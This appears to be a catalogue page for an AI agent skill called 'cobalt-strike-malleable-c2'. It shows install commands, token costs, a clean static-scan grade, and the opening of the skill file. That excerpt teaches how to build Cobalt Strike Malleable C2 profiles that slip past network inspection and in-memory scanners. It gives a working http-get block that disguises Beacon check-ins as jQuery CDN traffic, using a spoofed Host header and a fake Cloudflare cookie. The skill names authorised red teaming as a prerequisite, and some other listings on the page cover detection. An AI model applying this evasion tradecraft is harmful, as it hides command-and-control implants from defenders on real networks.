Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/cobalt-strike-malleable-c2Wrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/cobalt-strike-malleable-c2)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/cobalt-strike-malleable-c2"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/cobalt-strike-malleable-c2/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/cobalt-strike-malleable-c2"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/cobalt-strike-malleable-c2.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00071 | $0.02304 |
| Opus 5 | $0.00036 | $0.01152 |
| Sonnet 5 | $0.00014 | $0.00461 |
| Haiku 4.5 | $0.00007 | $0.00230 |
Grade A, and why
cobalt-strike-malleable-c2 scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 201 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Cobalt Strike Malleable C2 Profiles
When to Use
- During high-tier Red Team operations where the target organization possesses advanced Network Traffic Analysis (NTA) or Deep Packet Inspection (DPI) firewalls (e.g., Palo Alto, Fortinet).
- When attempting to blend persistent Beacon traffic into the target environment's native noise (e.g., disguising C2 traffic as continuous Windows Defender telemetry or Google Analytics polling).
- To actively disable and evade in-memory scanning frameworks (e.g., Hunt-Sleeping-Beacons) by utilizing profile features like
sleep_maskandallocator.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Understanding Malleable C2
# Concept: By default, Cobalt Strike Beacons "call home" using a highly predictable cryptographic
# structure over standard HTTP. Antivirus vendors have perfectly signatured this default behavior.
# A Malleable C2 Profile is a configuration file (.profile) interpreted by the Team Server
# that completely redesigns *how* the C2 traffic looks in transit and *how* the implant behaves in memory.
Phase 2: Building the HTTP-GET Configuration (Camouflage)
# Concept: We must disguise the Beacon "checking in" for tasks as a harmless user browsing a website.
# Let's disguise the traffic as a user interacting with jQuery on a CDN.
http-get {
set uri "/jquery-3.3.1.min.js"; ## The beacon requests this specific file
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Host" "code.jquery.com"; ## Domain Fronting or spoofing Host header
header "Referer" "http://code.jquery.com/";
metadata {
base64url;
prepend "__cfduid=";
header "Cookie"; ## The Beacon hides its unique ID inside a fake Cloudflare cookie
}
}
server {
header "Server" "NetDNA-cache/2.2";
header "Cache-Control" "max-age=0, no-cache";
output {
base64;
prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */\n\n";
append "\n// End of jQuery code";
print; ## The Team Server hides its encoded commands inside a fake jQuery script
}
}
}
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 201 lines · 71 tokens per session scan A 1a003d7893e2
cobalt-strike-malleable-c2 is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 71 tokens to every session and 2,304 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
cobalt-strike-malleable-c2
Create and implement Malleable C2 profiles in Cobalt Strike to evade network intrusion detection systems (NIDS/IPS) and endpoint detection architectures. This skill focuses on molding the Beacon's HTTP/HTTPS traffic to resemble legitimate network traffic like Amazon, Google, or jQuery.
analyzing-cobalt-strike-beacon-configuration
Extract and analyze Cobalt Strike beacon configuration from PE files and memory dumps to identify C2 infrastructure, malleable profiles, and operator tradecraft.
analyzing-command-and-control-communication
Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom protocols to reverse-engineer beacon patterns, command structures, data encoding, and infrastructure (primary servers, fallback domains, dead drops). Use after reverse engineering reveals network traffic needing protocol analysis or when building…
analyzing-cobalt-strike-beacon-configuration
Use when extract and analyze Cobalt Strike beacon configuration from PE files and memory dumps to identify C2 infrastructure, malleable profiles, and operator tradecraft. Use when working with analyzing cobalt strike beacon configuration.
hunting-for-cobalt-strike-beacons
Use when detect Cobalt Strike beacon network activity using default TLS certificate signatures (serial 8BB00EE), JA3/JA3S/JARM fingerprints, HTTP C2 profile pattern matching, beacon jitter analysis, and named pipe detection via Zeek, Suricata, and Python PCAP analysis. Use when detecting cobalt strike beacon network…
analyzing-command-and-control-communication
Use when analyzing malware command-and-control (C2) communication protocols to understand beacon patterns, command structures, data encoding, and infrastructure. Covers HTTP, HTTPS, DNS, and custom protocol C2 analysis for detection development and threat intelligence. Activates for requests involving C2 analysis…